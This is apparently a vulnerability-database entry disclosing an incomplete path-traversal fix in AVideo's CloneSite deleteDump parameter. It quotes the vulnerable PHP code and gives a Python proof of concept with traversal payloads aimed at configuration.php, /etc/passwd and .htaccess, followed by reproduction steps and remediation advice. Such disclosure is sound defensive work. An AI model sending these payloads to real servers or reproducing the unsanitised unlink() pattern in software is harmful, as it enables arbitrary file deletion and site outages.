Vulnerability Database

352,262

Total vulnerabilities in the database

WWBN AVideo has an incomplete fix for CVE-2026-33293: Path Traversal — wwbn / avideo

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

The incomplete fix for AVideo's CloneSite deleteDump parameter does not apply path traversal filtering, allowing unlink() of arbitrary files via ../../ sequences in the GET parameter.

Affected Package

  • Ecosystem: Other
  • Package: AVideo
  • Affected versions: < commit 941decd6d19e
  • Patched versions: >= commit 941decd6d19e

Details

At line 44-48 of cloneServer.json.php (pre-fix):

if (!empty($_GET[&#039;deleteDump&#039;])) { $resp-&gt;error = !unlink(&quot;{$clonesDir}{$_GET[&#039;deleteDump&#039;]}&quot;); $resp-&gt;msg = &quot;Delete Dump {$_GET[&#039;deleteDump&#039;]}&quot;; die(json_encode($resp)); }

No basename(), no realpath() check, no path traversal filtering. $_GET[&#039;deleteDump&#039;] is concatenated directly with $clonesDir.

The vulnerable code has zero protection against path traversal:

  • No basename() to strip directory components
  • No realpath() to validate the final path
  • No check that resolved path is within $clonesDir
  • No ../ sanitization
  • Additionally, exec() calls with mysqldump pass credentials on the command line

PoC

&quot;&quot;&quot; CVE-2026-33293 - AVideo CloneSite Path Traversal &quot;&quot;&quot; import sys import os VULN_SRC = os.path.join(os.path.dirname(__file__), &quot;src&quot;, &quot;cloneServer.json.php&quot;) def verify_source_file(): if not os.path.isfile(VULN_SRC): print(&quot;ERROR: Source not found at %s&quot; % VULN_SRC) sys.exit(1) with open(VULN_SRC, &quot;r&quot;) as f: src = f.read() if &quot;unlink(&quot; not in src or &quot;deleteDump&quot; not in src: print(&quot;ERROR: Expected patterns not found&quot;) sys.exit(1) return src def vulnerable_delete_path(clones_dir, delete_dump): return clones_dir + delete_dump def test_path_traversal(): clones_dir = &quot;/var/www/html/AVideo/videos/clones/&quot; payloads = [ (&quot;../../configuration.php&quot;, &quot;Delete site configuration&quot;), (&quot;../../../etc/passwd&quot;, &quot;Delete system file&quot;), (&quot;../../.htaccess&quot;, &quot;Delete .htaccess&quot;), ] print(&quot;Testing path traversal via deleteDump parameter:&quot;) print(&quot;Base clones_dir: %s&quot; % clones_dir) print() all_traversal = True for payload, desc in payloads: resolved = vulnerable_delete_path(clones_dir, payload) real_resolved = os.path.normpath(resolved) escaped = not real_resolved.startswith(os.path.normpath(clones_dir)) if escaped: print(&quot;[+] TRAVERSAL: %s&quot; % desc) print(&quot; Payload: deleteDump=%s&quot; % payload) print(&quot; unlink() target: %s&quot; % resolved) print(&quot; Normalized: %s&quot; % real_resolved) else: all_traversal = False return all_traversal def main(): print(&quot;=&quot; * 70) print(&quot;CVE-2026-33293: AVideo CloneSite Path Traversal PoC&quot;) print(&quot;=&quot; * 70) print() src = verify_source_file() print(&quot;[+] Source file verified: %s&quot; % VULN_SRC) for line in src.split(&#039;\n&#039;): if &#039;unlink(&#039; in line and &#039;deleteDump&#039; in line: print(&quot;[+] Vulnerable line: %s&quot; % line.strip()) break print() if test_path_traversal(): print(&quot;\nVULNERABILITY CONFIRMED&quot;) sys.exit(0) else: print(&quot;\nVULNERABILITY NOT CONFIRMED&quot;) sys.exit(1) if __name__ == &quot;__main__&quot;: main() python3 poc.py

Steps to reproduce:

  1. git clone https://github.com/WWBN/AVideo /tmp/AVideo_test
  2. cd /tmp/AVideo_test &amp;&amp; git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED The deleteDump parameter passes unsanitized path traversal sequences (../../) directly to unlink(), enabling arbitrary file deletion.

Impact

An attacker can delete arbitrary files on the server. Deleting configuration.php takes the site offline. Deleting .htaccess exposes protected directories. Deleting system files can affect other services.

Suggested Remediation

Use basename($_GET[&#039;deleteDump&#039;]) to strip directory components. Validate that realpath() of the final path is within $clonesDir. Validate file extension. Add authentication checks.

  • Published: Apr 14, 2026
  • Updated: Apr 15, 2026
  • GHSA: GHSA-5879-4fmr-xwf2
  • Severity: Medium
  • Exploit:
  • CISA KEV:

No technical information available.

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.